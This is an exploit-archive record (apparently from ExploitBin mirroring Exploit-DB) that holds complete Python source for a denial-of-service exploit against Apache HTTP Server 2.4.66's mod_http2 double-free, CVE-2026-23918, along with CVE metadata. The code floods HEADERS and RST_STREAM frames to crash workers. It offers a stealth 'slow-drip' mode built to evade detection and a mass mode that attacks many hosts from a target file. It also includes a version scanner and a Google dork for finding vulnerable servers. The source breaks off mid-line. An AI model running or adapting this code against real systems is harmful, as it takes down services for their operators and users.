{"exploit":{"id":"EDB-52577","name":"Apache HTTP Server 2.4.66 - 'mod_http2' Double-Free Denial of Service (DoS)","description":"Apache HTTP Server 2.4.66 - 'mod_http2' Double-Free Denial of Service (DoS)","cves":["CVE-2026-23918"],"author":"alisunbul","published":"2026-05-26","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52577","path":"exploits/multiple/webapps/52577.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52577.py","vulnerabilities":[{"id":"CVE-2026-23918","state":"PUBLISHED","title":"Apache HTTP Server: http2: double free and possible RCE on early reset","titleSource":"CVE Program","description":"Double Free and possible RCE vulnerability in Apache HTTP Server with the HTTP/2 protocol. This issue affects Apache HTTP Server: 2.4.66. Users are recommended to upgrade to version 2.4.67, which fixes the issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-23918","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-23918"},"updatedAt":"2026-07-15T01:17:47.323Z","retrievedAt":"2026-11-25T16:15:50.239Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52577.png?v=2","url":"https://exploitbin.com/exploits/EDB-52577","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52577/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52577/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Apache HTTP Server 2.4.66 - 'mod_http2' Double-Free Denial of Service\n# Google Dork: intext:\"Apache/2.4.66\" \"HTTP/2\"\n# Date: 2026-05-06\n# Exploit Author: xeloxa (https://github.com/xeloxa/) <alisunbul@proton.me>\n# Vendor Homepage: https://httpd.apache.org/\n# Software Link: https://archive.apache.org/dist/httpd/httpd-2.4.66.tar.gz\n# Version: 2.4.66\n# Tested on: Debian / Ubuntu\n# CVE : CVE-2026-23918\n\n\"\"\"\nCVE-2026-23918 - Apache mod_http2 Double-Free PoC\n\nQuick summary: This bug (CWE-415) hits Apache 2.4.66. It's a race condition\nin the stream cleanup path. If you spam HEADERS and RST_STREAM fast enough,\nyou can trigger a double-free and crash the worker.\n\nAuthor: xeloxa (https://github.com/xeloxa/) <alisunbul@proton.me>\nFound by: Bartlomiej Dmitruk & Stanislaw Strzalkowski\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport signal\nimport socket\nimport ssl\nimport sys\nimport threading\nimport time\nfrom collections import defaultdict\nfrom dataclasses import dataclass, field\nfrom datetime import datetime\nfrom typing import Dict, List, Optional, Tuple\n\n# ---------------------------------------------------------------------------\n# Dependency Check\n# ---------------------------------------------------------------------------\ntry:\n    import h2.config\n    import h2.connection\n    import h2.events\n\n    HAS_H2 = True\nexcept ImportError:\n    HAS_H2 = False\n\n\n# ---------------------------------------------------------------------------\n# ANSI Colors (for terminal output)\n# ---------------------------------------------------------------------------\nclass Color:\n    RED = \"\\033[91m\"\n    GREEN = \"\\033[92m\"\n    YELLOW = \"\\033[93m\"\n    BLUE = \"\\033[94m\"\n    MAGENTA = \"\\033[95m\"\n    CYAN = \"\\033[96m\"\n    BOLD = \"\\033[1m\"\n    RESET = \"\\033[0m\"\n\n\ndef c(text: str, color: str) -> str:\n    \"\"\"Wrap text in color if output is a terminal.\"\"\"\n    if sys.stdout.isatty():\n        return f\"{color}{text}{Color.RESET}\"\n    return text\n\n\ndef print_banner(title: str, color: str = Color.BOLD) -> None:\n    \"\"\"Print a consistent tool banner with author info.\"\"\"\n    print(f\"{'=' * 60}\")\n    print(c(title, color))\n    print(f\"Author: xeloxa (https://github.com/xeloxa/)\")\n    print(f\"{'=' * 60}\")\n\n\n# ---------------------------------------------------------------------------\n# Data Structures\n# ---------------------------------------------------------------------------\n@dataclass\nclass ExploitStats:\n    \"\"\"Just a thread-safe counter for the stats.\"\"\"\n\n    connections: int = 0\n    requests: int = 0\n    resets: int = 0\n    conn_errors: int = 0\n    stream_errors: int = 0\n    crashes: int = 0\n    lock: threading.Lock = field(default_factory=threading.Lock)\n\n    def inc(self, attr: str, delta: int = 1) -> None:\n        with self.lock:\n            setattr(self, attr, getattr(self, attr) + delta)\n\n    def snapshot(self) -> Dict[str, int]:\n        with self.lock:\n            return {\n                \"connections\": self.connections,\n                \"requests\": self.requests,\n                \"resets\": self.resets,\n                \"conn_errors\": self.conn_errors,\n                \"stream_errors\": self.stream_errors,\n                \"crashes\": self.crashes,\n            }\n\n\n# ---------------------------------------------------------------------------\n# SSL / HTTP/2 Connection Helpers\n# ---------------------------------------------------------------------------\ndef create_ssl_context(\n    alpn_protocols: Optional[List[str]] = None,\n) -> ssl.SSLContext:\n    \"\"\"Create an SSL context configured for HTTP/2 ALPN negotiation.\"\"\"\n    ctx = ssl.create_default_context()\n    ctx.check_hostname = False\n    ctx.verify_mode = ssl.CERT_NONE\n    if alpn_protocols is None:\n        alpn_protocols = [\"h2\"]\n    ctx.set_alpn_protocols(alpn_protocols)\n    return ctx\n\n\ndef establish_h2_connection(\n    host: str,\n    port: int,\n    timeout: float = 5.0,\n    use_ssl: bool = True,\n) -> Tuple[Optional[socket.socket], Optional[h2.connection.H2Connection]]:\n    \"\"\"\n    Sets up an H2 connection.\n    Returns (socket, h2_connection) or (None, None) if something breaks.\n    \"\"\"\n    try:\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.settimeout(timeout)\n        sock.connect((host, port))\n\n        if use_ssl:\n            ctx = create_ssl_context()\n            sock = ctx.wrap_socket(sock, server_hostname=host)\n\n        config = h2.config.H2Configuration(client_side=True)\n        conn = h2.connection.H2Connection(config=config)\n        conn.initiate_connection()\n        sock.sendall(conn.data_to_send())\n\n        # Receive server preface (SETTINGS frame)\n        data = sock.recv(8192)\n        if not data:\n            sock.close()\n            return None, None\n        conn.receive_data(data)\n        sock.sendall(conn.data_to_send())\n\n        return sock, conn\n    except Exception:\n        try:\n            sock.close()\n        except Exception:\n            pass\n        return None, None\n\n\n# ---------------------------------------------------------------------------\n# Mode 1: DoS - Rapid RST Attack\n# ---------------------------------------------------------------------------\nclass RapidRSTDoS:\n    \"\"\"\n    The \"classic\" Rapid-RST DoS.\n\n    We send a HEADERS frame and immediately follow up with an RST_STREAM.\n    If the server hasn't registered the stream yet, it'll trigger two\n    different cleanup callbacks. Both try to free the same memory.\n    Boom - SIGSEGV.\n    \"\"\"\n\n    def __init__(\n        self,\n        target: str,\n        port: int,\n        workers: int = 100,\n        intensity: int = 7,\n        use_ssl: bool = True,\n        timeout: float = 5.0,\n        verbose: bool = False,\n        json_output: bool = False,\n    ):\n        self.target = target\n        self.port = port\n        self.num_workers = workers\n        self.intensity = max(1, min(10, intensity))\n        self.use_ssl = use_ssl\n        self.timeout = timeout\n        self.verbose = verbose\n        self.json_output = json_output\n\n        self.running = True\n        self.crashed = False\n        self.stats = ExploitStats()\n        self.start_time: Optional[float] = None\n\n    def is_server_alive(self) -> bool:\n        \"\"\"Check if the target server is responsive via HTTP/2.\"\"\"\n        sock, conn = establish_h2_connection(\n            self.target, self.port, timeout=3.0, use_ssl=self.use_ssl\n        )\n        if sock is None:\n            return False\n        try:\n            sock.close()\n        except Exception:\n            pass\n        return True\n\n    def worker(self, worker_id: int) -> None:\n        \"\"\"\n        Worker thread that continuously opens HTTP/2 connections and sends\n        HEADERS+RST_STREAM frame sequences to trigger the double-free.\n        \"\"\"\n        streams_per_conn = 50\n        reset_interval = max(1, 11 - self.intensity)  # Lower = more resets\n\n        while self.running:\n            sock, conn = establish_h2_connection(\n                self.target,\n                self.port,\n                timeout=self.timeout,\n                use_ssl=self.use_ssl,\n            )\n            if sock is None:\n                self.stats.inc(\"conn_errors\")\n                time.sleep(0.1)\n                continue\n\n            self.stats.inc(\"connections\")\n\n            try:\n                sent = 0\n                while sent < streams_per_conn and self.running:\n                    try:\n                        stream_id = conn.get_next_available_stream_id()\n                        conn.send_headers(\n                            stream_id,\n                            [\n                                (b\":method\", b\"GET\"),\n                                (b\":scheme\", b\"https\" if self.use_ssl else b\"http\"),\n                                (b\":authority\", self.target.encode()),\n                                (b\":path\", b\"/\"),\n                            ],\n                        )\n                        sock.sendall(conn.data_to_send())\n                        self.stats.inc(\"requests\")\n\n                        # Send RST_STREAM on configured interval\n                        if sent % reset_interval == 0:\n                            conn.reset_stream(stream_id, error_code=1)\n                            sock.sendall(conn.data_to_send())\n                            self.stats.inc(\"resets\")\n\n                        sent += 1\n                        # Small delay to avoid overwhelming local resources\n                        time.sleep(0.001 * (11 - self.intensity))\n\n                    except Exception:\n                        self.stats.inc(\"stream_errors\")\n                        break\n\n                # Gracefully close the connection\n                conn.close_connection()\n                try:\n                    sock.sendall(conn.data_to_send())\n                except Exception:\n                    pass\n\n            except Exception:\n                pass\n            finally:\n                try:\n                    sock.close()\n                except Exception:\n                    pass\n\n    def monitor(self) -> None:\n        \"\"\"Monitor thread that checks server aliveness and prints stats.\"\"\"\n        checks_since_alive = 0\n        last_report = 0\n\n        while self.running:\n            time.sleep(0.5)\n            alive = self.is_server_alive()\n\n            if alive:\n                checks_since_alive = 0\n                elapsed = int(time.time() - self.start_time)\n                if elapsed - last_report >= 10:\n                    last_report = elapsed\n                    snap = self.stats.snapshot()\n                    if self.json_output:\n                        print(\n                            json.dumps(\n                                {\n                                    \"timestamp\": datetime.now().isoformat(),\n                                    \"elapsed_s\": elapsed,\n                                    \"status\": \"alive\",\n                                    **snap,\n                                }\n                            )\n                        )\n                    else:\n                        print(\n                            f\" {c(f'[t={elapsed}s]', Color.CYAN)} \"\n                            f\"conns={snap['connections']} \"\n                            f\"reqs={snap['requests']} \"\n                            f\"resets={snap['resets']} \"\n                            f\"{c('OK', Color.GREEN)}\"\n                        )\n            else:\n                checks_since_alive += 1\n                if checks_since_alive >= 2 and not self.crashed:\n                    self.crashed = True\n                    self.stats.inc(\"crashes\")\n                    elapsed = int(time.time() - self.start_time)\n                    if self.json_output:\n                        print(\n                            json.dumps(\n                                {\n                                    \"timestamp\": datetime.now().isoformat(),\n                                    \"elapsed_s\": elapsed,\n                                    \"status\": \"CRASHED\",\n                                    **self.stats.snapshot(),\n                                }\n                            )\n                        )\n                    else:\n                        print(f\"\\n{'=' * 60}\")\n                        print(\n                            c(\n                                f\"!!! SERVER CRASHED at t={elapsed}s !!!\",\n                                Color.RED + Color.BOLD,\n                            )\n                        )\n                        print(\n                            f\"Stats: {json.dumps(self.stats.snapshot(), indent=2)}\"\n                        )\n                        print(f\"{'=' * 60}\")\n                    self.running = False\n                    return\n\n    def run(self) -> None:\n        \"\"\"Execute the DoS exploit.\"\"\"\n        if not self.json_output:\n            print_banner(\"CVE-2026-23918 - Apache Double-Free DoS\", Color.BOLD + Color.RED)\n            print(f\"Target: {self.target}:{self.port}\")\n            print(f\"Mode  : Rapid-RST\")\n            print(f\"Stats : {self.num_workers} workers | Intensity {self.intensity}\")\n            print(f\"SSL   : {'On' if self.use_ssl else 'Off'}\")\n            print(f\"{'=' * 60}\")\n\n        if not HAS_H2:\n            print(c(\"[!] h2 library missing. Install: pip3 install h2\", Color.RED))\n            sys.exit(1)\n\n        # Pre-flight server check\n        if not self.json_output:\n            print(c(\"[*] Checking if server is up...\", Color.YELLOW))\n        if not self.is_server_alive():\n            print(c(f\"[!] Can't reach {self.target}:{self.port}\", Color.RED))\n            sys.exit(1)\n        if not self.json_output:\n            print(c(\"[+] Server's up. Sending payloads...\\n\", Color.GREEN))\n\n        # Launch workers\n        self.start_time = time.time()\n        workers = []\n        for i in range(self.num_workers):\n            t = threading.Thread(target=self.worker, args=(i,), daemon=True)\n            t.start()\n            workers.append(t)\n\n        # Run monitor (blocks until crash detected or Ctrl+C)\n        self.monitor()\n\n        # Wait for workers to finish\n        for t in workers:\n            t.join(timeout=2)\n\n        # Final report\n        snap = self.stats.snapshot()\n        if self.json_output:\n            print(\n                json.dumps(\n                    {\n                        \"timestamp\": datetime.now().isoformat(),\n                        \"final\": True,\n                        \"crashed\": self.crashed,\n                        **snap,\n                    }\n                )\n            )\n        else:\n            print(f\"\\n{'=' * 60}\")\n            print(c(\"ATTACK RESULTS\", Color.BOLD))\n            print(f\"{'=' * 60}\")\n            print(f\"Connections: {snap['connections']}\")\n            print(f\"Requests   : {snap['requests']}\")\n            print(f\"Resets     : {snap['resets']}\")\n            print(f\"Errors     : {snap['conn_errors']} (conn) / {snap['stream_errors']} (stream)\")\n            if self.crashed:\n                print(c(\"\\n[!] CRASH DETECTED - Double-free confirmed.\", Color.RED + Color.BOLD))\n            else:\n                print(c(\"\\n[-] Server's still alive.\", Color.YELLOW))\n            print(f\"{'=' * 60}\")\n\n\n# ---------------------------------------------------------------------------\n# Mode 2: Slow-Drip DoS (Stealth)\n# ---------------------------------------------------------------------------\nclass SlowDripDoS:\n    \"\"\"\n    Low-bandwidth, sustained denial of service.\n\n    Uses fewer connections and longer intervals between RST_STREAM frames\n    to evade detection while maintaining pressure on the target.\n    \"\"\"\n\n    def __init__(\n        self,\n        target: str,\n        port: int,\n        workers: int = 5,\n        intensity: int = 3,\n        duration_minutes: int = 30,\n        use_ssl: bool = True,\n        timeout: float = 5.0,\n        json_output: bool = False,\n    ):\n        self.target = target\n        self.port = port\n        self.num_workers = max(1, workers)\n        self.intensity = max(1, min(5, intensity))\n        self.duration_seconds = duration_minutes * 60\n        self.use_ssl = use_ssl\n        self.timeout = timeout\n        self.json_output = json_output\n\n        self.running = True\n        self.stats = ExploitStats()\n        self.start_time: Optional[float] = None\n\n    def worker(self, worker_id: int) -> None:\n        \"\"\"Slow-drip worker - lower frequency, sustained attack.\"\"\"\n        while self.running and (\n            time.time() - self.start_time < self.duration_seconds\n        ):\n            sock, conn = establish_h2_connection(\n                self.target, self.port, timeout=self.timeout, use_ssl=self.use_ssl\n            )\n            if sock is None:\n                self.stats.inc(\"conn_errors\")\n                time.sleep(0.5)\n                continue\n\n            self.stats.inc(\"connections\")\n            try:\n                stream_id = conn.get_next_available_stream_id()\n                conn.send_headers(\n                    stream_id,\n                    [\n                        (b\":method\", b\"GET\"),\n                        (b\":scheme\", b\"https\" if self.use_ssl else b\"http\"),\n                        (b\":authority\", self.target.encode()),\n                        (b\":path\", b\"/\"),\n                    ],\n                )\n                sock.sendall(conn.data_to_send())\n                self.stats.inc(\"requests\")\n\n                # Small delay before reset - simulates slow client\n                time.sleep(0.01)\n                conn.reset_stream(stream_id, error_code=1)\n                sock.sendall(conn.data_to_send())\n                self.stats.inc(\"resets\")\n\n                conn.close_connection()\n                sock.sendall(conn.data_to_send())\n            except Exception:\n                self.stats.inc(\"stream_errors\")\n            finally:\n                try:\n                    sock.close()\n                except Exception:\n                    pass\n\n            # Longer sleep for stealth\n            delay = max(1.0, (6 - self.intensity) * 2.0)\n            time.sleep(delay)\n\n    def run(self) -> None:\n        \"\"\"Execute the slow-drip DoS.\"\"\"\n        if not self.json_output:\n            print_banner(\"CVE-2026-23918 - Slow-Drip (Stealth)\", Color.BOLD + Color.YELLOW)\n            print(f\"Target: {self.target}:{self.port}\")\n            print(f\"Time  : {self.duration_seconds // 60} min\")\n            print(f\"Workers: {self.num_workers} | Intensity: {self.intensity}\")\n            print(f\"{'=' * 60}\")\n\n        if not HAS_H2:\n            print(c(\"[!] h2 library missing. Install: pip3 install h2\", Color.RED))\n            sys.exit(1)\n\n        self.start_time = time.time()\n        workers = []\n        for i in range(self.num_workers):\n            t = threading.Thread(target=self.worker, args=(i,), daemon=True)\n            t.start()\n            workers.append(t)\n\n        # Wait for duration or Ctrl+C\n        try:\n            while self.running and (\n                time.time() - self.start_time < self.duration_seconds\n            ):\n                time.sleep(5)\n                elapsed = int(time.time() - self.start_time)\n                snap = self.stats.snapshot()\n                if self.json_output:\n                    print(\n                        json.dumps(\n                            {\n                                \"timestamp\": datetime.now().isoformat(),\n                                \"elapsed_s\": elapsed,\n                                **snap,\n                            }\n                        )\n                    )\n                else:\n                    remaining = self.duration_seconds - elapsed\n                    print(\n                        f\" {c(f'[{elapsed}s/{remaining}s remaining]', Color.CYAN)} \"\n                        f\"conns={snap['connections']} \"\n                        f\"resets={snap['resets']}\"\n                    )\n        except KeyboardInterrupt:\n            pass\n\n        self.running = False\n        for t in workers:\n            t.join(timeout=2)\n\n        if not self.json_output:\n            print(c(\"\\n[*] Slow-drip attack complete.\", Color.GREEN))\n\n\n# ---------------------------------------------------------------------------\n# Mode 3: Mass DoS\n# ---------------------------------------------------------------------------\nclass MassDoS:\n    \"\"\"Multi-target sustained denial of service.\"\"\"\n\n    def __init__(\n        self,\n        targets_file: str,\n        workers_per_target: int = 50,\n        intensity: int = 7,\n        duration_minutes: int = 30,\n        use_ssl: bool = True,\n        timeout: float = 5.0,\n        json_output: bool = False,\n    ):\n        self.targets = self._load_targets(targets_file)\n        self.workers_per_target = workers_per_target\n        self.intensity = max(1, min(10, intensity))\n        self.duration_seconds = duration_minutes * 60\n        self.use_ssl = use_ssl\n        self.timeout = timeout\n        self.json_output = json_output\n\n        self.running = True\n        self.start_time: Optional[float] = None\n        self.target_results: Dict[Tuple[str, int], Dict] = defaultdict(\n            lambda: {\n                \"status\": \"unknown\",\n                \"connections\": 0,\n                \"conn_errors\": 0,\n                \"requests\": 0,\n                \"resets\": 0,\n                \"crashes\": 0,\n            }\n        )\n        self.results_lock = threading.Lock()\n\n    @staticmethod\n    def _load_targets(path: str) -> List[Tuple[str, int]]:\n        \"\"\"Load targets from file (format: host:port or host).\"\"\"\n        targets = []\n        with open(path) as f:\n            for line in f:\n                line = line.strip()\n                if not line or line.startswith(\"#\"):\n                    continue\n                if \":\" in line:\n                    host, port = line.rsplit(\":\", 1)\n                    targets.append((host.strip(), int(port.strip())))\n                else:\n                    targets.append((line.strip(), 443))\n        return targets\n\n    def is_alive(self, host: str, port: int) -> bool:\n        \"\"\"Quick aliveness check.\"\"\"\n        sock, conn = establish_h2_connection(\n            host, port, timeout=3.0, use_ssl=self.use_ssl\n        )\n        if sock is None:\n            return False\n        try:\n            sock.close()\n        except Exception:\n            pass\n        return True\n\n    def worker(self, host: str, port: int) -> None:\n        \"\"\"Attack worker for a specific target.\"\"\"\n        results = self.target_results[(host, port)]\n        reset_interval = max(1, 11 - self.intensity)\n        sent = 0\n\n        while self.running and (\n            time.time() - self.start_time < self.duration_seconds\n        ):\n            sock, conn = establish_h2_connection(\n                host, port, timeout=self.timeout, use_ssl=self.use_ssl\n            )\n            if sock is None:\n                with self.results_lock:\n                    results[\"conn_errors\"] += 1\n                time.sleep(0.5)\n                continue\n\n            with self.results_lock:\n                results[\"connections\"] += 1\n\n            try:\n                while self.running and (\n                    time.time() - self.start_time < self.duration_seconds\n                ):\n                    try:\n                        sid = conn.get_next_available_stream_id()\n                        conn.send_headers(\n                            sid,\n                            [\n                                (b\":method\", b\"GET\"),\n                                (\n                                    b\":scheme\",\n                                    b\"https\" if self.use_ssl else b\"http\",\n                                ),\n                                (b\":authority\", host.encode()),\n                                (b\":path\", b\"/\"),\n                            ],\n                        )\n                        sock.sendall(conn.data_to_send())\n                        with self.results_lock:\n                            results[\"requests\"] += 1\n                        sent += 1\n\n                        if sent % reset_interval == 0:\n                            conn.reset_stream(sid, error_code=1)\n                            sock.sendall(conn.data_to_send())\n                            with self.results_lock:\n                                results[\"resets\"] += 1\n                    except Exception:\n                        break\n\n                conn.close_connection()\n                try:\n                    sock.sendall(conn.data_to_send())\n                except Exception:\n                    pass\n            except Exception:\n                pass\n            finally:\n                try:\n                    sock.close()\n                except Exception:\n                    pass\n\n    def monitor_target(self, host: str, port: int) -> None:\n        \"\"\"Monitor aliveness for a specific target.\"\"\"\n        results = self.target_results[(host, port)]\n        while self.running and (\n            time.time() - self.start_time < self.duration_seconds\n        ):\n            alive = self.is_alive(host, port)\n            with self.results_lock:\n                if not alive:\n                    if results[\"status\"] != \"down\":\n                        results[\"status\"] = \"down\"\n                        results[\"crashes\"] += 1\n                        elapsed = int(time.time() - self.start_time)\n                        if not self.json_output:\n                            print(\n                                c(\n                                    f\" [t={elapsed}s] {host}:{port} - SERVER DOWN\",\n                                    Color.RED,\n                                )\n                            )\n                else:\n                    results[\"status\"] = \"up\"\n            time.sleep(5)\n\n    def print_dashboard(self) -> None:\n        \"\"\"Print live status dashboard.\"\"\"\n        print(\"\\033[2J\\033[H\", end=\"\")  # ANSI escape sequence to clear screen\n        elapsed = int(time.time() - self.start_time)\n        remaining = max(0, self.duration_seconds - elapsed)\n        print(f\"{'=' * 70}\")\n        print(f\" CVE-2026-23918 Mass DoS | {elapsed}s elapsed | {remaining}s remaining\")\n        print(f\"{'=' * 70}\")\n        print(\n            f\"{'Target':<35} {'Status':<10} {'Conns':<8} {'Err':<5} {'Reqs':<8} {'Resets':<8} {'Crashes':<8}\"\n        )\n        print(\"-\" * 80)\n        for host, port in self.targets:\n            r = self.target_results[(host, port)]\n            print(\n                f\"{host+':'+str(port):<35} \"\n                f\"{r['status']:<10} {r['connections']:<8} {r['conn_errors']:<5} \"\n                f\"{r['requests']:<8} {r['resets']:<8} {r['crashes']:<8}\"\n            )\n        print(f\"{'=' * 70}\")\n\n    def run(self) -> None:\n        \"\"\"Execute mass DoS attack.\"\"\"\n        if not self.json_output:\n            print_banner(\"CVE-2026-23918 - Mass Scan/Attack\", Color.BOLD + Color.RED)\n            print(f\"Targets: {len(self.targets)} | Time: {self.duration_seconds // 60} min\")\n            print(f\"Workers: {self.workers_per_target} per target | Intensity: {self.intensity}\")\n            print(f\"{'=' * 60}\\n\")\n\n        if not HAS_H2:\n            print(c(\"[!] h2 library missing: pip3 install h2\", Color.RED))\n            sys.exit(1)\n\n        self.start_time = time.time()\n\n        # Launch workers for each target\n        all_workers = []\n        for host, port in self.targets:\n            for _ in range(self.workers_per_target):\n                t = threading.Thread(\n                    target=self.worker, args=(host, port), daemon=True\n                )\n                t.start()\n                all_workers.append(t)\n\n            # Launch a monitor for each target\n            mt = threading.Thread(\n                target=self.monitor_target, args=(host, port), daemon=True\n            )\n            mt.start()\n            all_workers.append(mt)\n\n        # Dashboard loop\n        try:\n            while self.running and (\n                time.time() - self.start_time < self.duration_seconds\n            ):\n                if not self.json_output:\n                    self.print_dashboard()\n                time.sleep(10)\n        except KeyboardInterrupt:\n            pass\n\n        self.running = False\n        for t in all_workers:\n            t.join(timeout=2)\n\n        if not self.json_output:\n            self.print_dashboard()\n            print(c(\"\\n[*] Mass DoS complete.\", Color.GREEN))\n\n\n# ---------------------------------------------------------------------------\n# Mode 4: RCE Detection (Passive)\n# ---------------------------------------------------------------------------\ndef rce_detect(\n    target: str, port: int, timeout: float = 5.0, json_output: bool = False\n) -> Dict:\n    \"\"\"\n    Passive check. We just look at headers and version info to see\n    if the target might be vulnerable. No exploit payloads sent.\n    \"\"\"\n    if not HAS_H2:\n        if json_output:\n            print(\n                json.dumps(\n                    {\"error\": \"h2 library not installed. Run: pip3 install h2\"}\n                )\n            )\n        else:\n            print(c(\"[!] h2 library missing. Install: pip3 install h2\", Color.RED))\n        return {\"error\": \"h2 library not installed\"}\n\n    result = {\n        \"target\": f\"{target}:{port}\",\n        \"timestamp\": datetime.now().isoformat(),\n        \"reachable\": False,\n        \"http2_supported\": False,\n        \"server_header\": None,\n        \"apache_version\": None,\n        \"likely_vulnerable\": False,\n        \"cve_applicable\": False,\n        \"notes\": [],\n    }\n\n    # Try HTTP/2 connection\n    sock, conn = establish_h2_connection(target, port, timeout=timeout, use_ssl=True)\n    if sock is None:\n        result[\"notes\"].append(\"Target not reachable or HTTP/2 not supported\")\n        return result\n\n    result[\"reachable\"] = True\n    result[\"http2_supported\"] = True\n\n    # Send a GET request and observe response\n    try:\n        stream_id = conn.get_next_available_stream_id()\n        conn.send_headers(\n            stream_id,\n            [\n                (b\":method\", b\"GET\"),\n                (b\":scheme\", b\"https\"),\n                (b\":authority\", target.encode()),\n                (b\":path\", b\"/\"),\n            ],\n        )\n        conn.end_stream(stream_id)\n        sock.sendall(conn.data_to_send())\n\n        # Receive response\n        data = sock.recv(8192)\n        if data:\n            events = conn.receive_data(data)\n            for event in events:\n                if isinstance(event, h2.events.ResponseReceived):\n                    for name, value in event.headers:\n                        header_name = name.decode(\"utf-8\", errors=\"replace\").lower()\n                        header_value = value.decode(\"utf-8\", errors=\"replace\")\n                        if header_name == \"server\":\n                            result[\"server_header\"] = header_value\n                            # Try to extract Apache version\n                            if \"apache\" in header_value.lower():\n                                parts = header_value.split(\"/\")\n                                if len(parts) > 1:\n                                    result[\"apache_version\"] = (\n                                        parts[-1].strip().split()[0]\n                                    )\n    except Exception as e:\n        result[\"notes\"].append(f\"Error during detection: {e}\")\n\n    try:\n        sock.close()\n    except Exception:\n        pass\n\n    # Analyze vulnerability status\n    if result[\"apache_version\"]:\n        # Apache 2.4.66 is the affected version per CVE record\n        if result[\"apache_version\"] == \"2.4.66\":\n            result[\"likely_vulnerable\"] = True\n            result[\"cve_applicable\"] = True\n            result[\"notes\"].append(\"Apache 2.4.66 detected - VULNERABLE to CVE-2026-23918\")\n        else:\n            try:\n                # Parse version for comparison\n                version_parts = result[\"apache_version\"].split(\".\")\n                if len(version_parts) >= 3:\n                    major, minor, patch = (\n                        int(version_parts[0]),\n                        int(version_parts[1]),\n                        int(version_parts[2]),\n                    )\n                    if (major, minor, patch) >= (2, 4, 67):\n                        result[\"notes\"].append(\n                            f\"Apache {result['apache_version']} - PATCHED (>= 2.4.67)\"\n                        )\n                    elif (major, minor, patch) < (2, 4, 66):\n                        result[\"notes\"].append(\n                            f\"Apache {result['apache_version']} - outside confirmed CVE range (< 2.4.66)\"\n                        )\n                    else:\n                        result[\"cve_applicable\"] = True\n                        result[\"likely_vulnerable\"] = True\n            except (ValueError, IndexError):\n                result[\"notes\"].append(\"Could not parse version string\")\n    elif result[\"http2_supported\"]:\n        result[\"notes\"].append(\n            \"HTTP/2 supported but version unknown - manual verification needed\"\n        )\n        result[\"cve_applicable\"] = True  # Potentially vulnerable\n\n    if json_output:\n        print(json.dumps(result, indent=2))\n    else:\n        print_banner(\"Vulnerability Scan Report\", Color.BOLD)\n        print(f\"Target : {result['target']}\")\n        print(f\"H2     : {'Supported' if result['http2_supported'] else 'Not found'}\")\n        print(f\"Server : {result['server_header'] or 'Unknown'}\")\n        print(f\"Apache : {result['apache_version'] or 'Unknown'}\")\n\n        status = c(\"LIKELY VULNERABLE\", Color.RED + Color.BOLD) if result['likely_vulnerable'] else c(\"Likely safe\", Color.GREEN)\n        print(f\"Status : {status}\")\n\n        if result[\"notes\"]:\n            print(f\"Notes  :\")\n            for note in result[\"notes\"]:\n                print(f\"  - {note}\")\n        print(f\"{'=' * 60}\")\n\n    return result\n\n\n# ---------------------------------------------------------------------------\n# Signal Handling\n# ---------------------------------------------------------------------------\ndef signal_handler(sig: int, frame) -> None:\n    \"\"\"Handle interrupt signals for a clean exit.\"\"\"\n    print(c(\"\\n[!] Received interrupt - shutting down...\", Color.YELLOW))\n    sys.exit(0)\n\n\n# ---------------------------------------------------------------------------\n# Main Entry Point\n# ---------------------------------------------------------------------------\ndef main() -> None:\n    parser = argparse.ArgumentParser(\n        description=\"CVE-2026-23918 - Apache HTTP/2 Double-Free Exploit\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=\"\"\"\nExamples:\n  %(prog)s --target 192.168.1.100 --port 8443 --mode dos\n  %(prog)s --target example.com --mode rce-detect\n  %(prog)s --targets targets.txt --mode mass --duration 30\n  %(prog)s --target 10.0.0.50 --mode slow-drip -w 5 -i 3 -d 60\n        \"\"\",\n    )\n\n    parser.add_argument(\n        \"--target\", \"-t\", help=\"Target IP or hostname\"\n    )\n    parser.add_argument(\n        \"--port\", \"-p\", type=int, default=443, help=\"Target port (default: 443)\"\n    )\n    parser.add_argument(\n        \"--mode\",\n        \"-m\",\n        choices=[\"dos\", \"slow-drip\", \"mass\", \"rce-detect\"],\n        default=\"dos\",\n        help=\"Exploit mode (default: dos)\",\n    )\n    parser.add_argument(\n        \"--targets\",\n        \"-T\",\n        help=\"File with target list for mass mode (format: host:port per line)\",\n    )\n    parser.add_argument(\n        \"--workers\",\n        \"-w\",\n        type=int,\n        default=100,\n        help=\"Number of concurrent worker threads (default: 100)\",\n    )\n    parser.add_argument(\n        \"--intensity\",\n        \"-i\",\n        type=int,\n        default=7,\n        help=\"Attack intensity 1-10 (default: 7)\",\n    )\n    parser.add_argument(\n        \"--duration\",\n        \"-d\",\n        type=int,\n        default=30,\n        help=\"Attack duration in minutes for slow-drip/mass modes (default: 30)\",\n    )\n    parser.add_argument(\n        \"--timeout\",\n        type=float,\n        default=5.0,\n        help=\"Connection timeout in seconds (default: 5)\",\n    )\n    parser.add_argument(\n        \"--no-ssl\",\n        action=\"store_true\",\n        help=\"Use plaintext HTTP/2 (h2c) instead of HTTPS (h2)\",\n    )\n    parser.add_argument(\n        \"--verbose\", \"-v\", action=\"store_true\", help=\"Verbose output\"\n    )\n    parser.add_argument(\n        \"--json\", action=\"store_true\", dest=\"json_output\", help=\"JSON output format\"\n    )\n\n    args = parser.parse_args()\n\n    # Validate arguments\n    if args.mode in (\"dos\", \"slow-drip\", \"rce-detect\") and not args.target:\n        parser.error(f\"--target is required for mode '{args.mode}'\")\n    if args.mode == \"mass\" and not args.targets:\n        parser.error(\"--targets file is required for mass mode\")\n\n    use_ssl = not args.no_ssl\n\n    # Register signal handlers for clean exit\n    signal.signal(signal.SIGINT, signal_handler)\n    signal.signal(signal.SIGTERM, signal_handler)\n\n    # Dispatch to selected mode\n    try:\n        if args.mode == \"dos\":\n            exploit 